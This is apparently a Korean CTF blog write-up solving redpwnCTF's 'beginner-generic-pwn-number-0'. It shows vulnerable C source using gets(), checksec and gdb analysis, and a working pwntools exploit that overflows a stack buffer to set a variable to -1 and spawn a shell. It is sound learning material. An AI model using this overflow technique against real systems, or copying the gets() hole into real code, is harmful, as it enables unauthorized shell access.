오늘은 redpwnCTF 의 beginner-generic-pwn-number-0문제를 풀어볼것이다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
const char *inspirational_messages[] = {
"\"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨\"",
"\"𝘱𝘭𝘦𝘢𝘴𝘦 𝘸𝘳𝘪𝘵𝘦 𝘢 𝘱𝘸𝘯 𝘴𝘰𝘮𝘦𝘵𝘪𝘮𝘦 𝘵𝘩𝘪𝘴 𝘸𝘦𝘦𝘬\"",
"\"𝘮𝘰𝘳𝘦 𝘵𝘩𝘢𝘯 1 𝘸𝘦𝘦𝘬 𝘣𝘦𝘧𝘰𝘳𝘦 𝘵𝘩𝘦 𝘤𝘰𝘮𝘱𝘦𝘵𝘪𝘵𝘪𝘰𝘯\"",
};
int main(void)
{
srand(time(0));
long inspirational_message_index = rand() % (sizeof(inspirational_messages) / sizeof(char *));
char heartfelt_message[32];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts(inspirational_messages[inspirational_message_index]);
puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!");
puts("can you write me a heartfelt message to cheer me up? :(");
gets(heartfelt_message);
if(inspirational_message_index == -1) {
system("/bin/sh");
}
}
위 코드 문제코드이다.
몇개의 문자열을 puts한 뒤 heartfelt_message를 입력받는다.
일단 checksec 를 이용하여 문제를 확인해보자.
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
위처럼 nx bit가 켜져있다.
위처럼 대략 정보를 얻었으니 gdb를 이용하여 코드를 자세히 살펴보자.
일단 C코드에 inspirational_messsage_index가 -1이면 쉘이 실행된다.
그러면 inspirational_messsage_index를 오버플로우해서 -1값을 넣으면 된다.
일단 위처럼 실행된다.
gdb로 disas main을 하면 아래와 같다.
위를 보면 rbp-0x8랑 0xfffffffffffffff랑 비교한다.
그러면 rbp-0x8에 오버 플로우해서 0xffffffffffffffff를 넣어야한다.
r <<< $(python -c 'print "B"*40+"A"*8')
heartfelt_message가 32바이트이다. 그러면 rbp-0x8은 40바이트 부터 들어간다.
0x4012a5에 브레이크를 걸고 위코드 gdb에서 실행하면, rbp-0x8에 0x41414141이 들어가는 것을 확인할 수 있다.
이제 어디부터 rbp-0x8이 채워지는지 확인을 했으니, 이제 exploit code를 짜보자.
from pwn import *
p = process("./beginner-generic-pwn-number-0")
#p = remote("mc.ax",31199)
binsh = 0xffffffffffffffff
payload = b"\x90" * 40
payload += p64(binsh)
p.recvuntil(":(")
p.sendline(payload)
p.interactive()
위 코드 내용을 보면 binsh라는 변수에 0xfffffffffffffff를 저장한다.
이제 payload를 짜면 nop을 40바이트 넣고, binsh변수를 넣으면 익스플로잇 코드가 완성된다.
:( 까지 받고 payload를 전송하면 /bin/sh가 실행된다.
'CTFs' 카테고리의 다른 글
redpwnCTF - orm-bad (0) | 2021.07.25 |
---|---|
redpwnCTF - ret2generic-flag-reader (0) | 2021.07.25 |
S.H.E.L.L ctf - under Development (0) | 2021.06.07 |
S.H.E.L.L CTF - haxxor (0) | 2021.06.06 |
S.H.E.L.Lctf - EASY-RSA (0) | 2021.06.06 |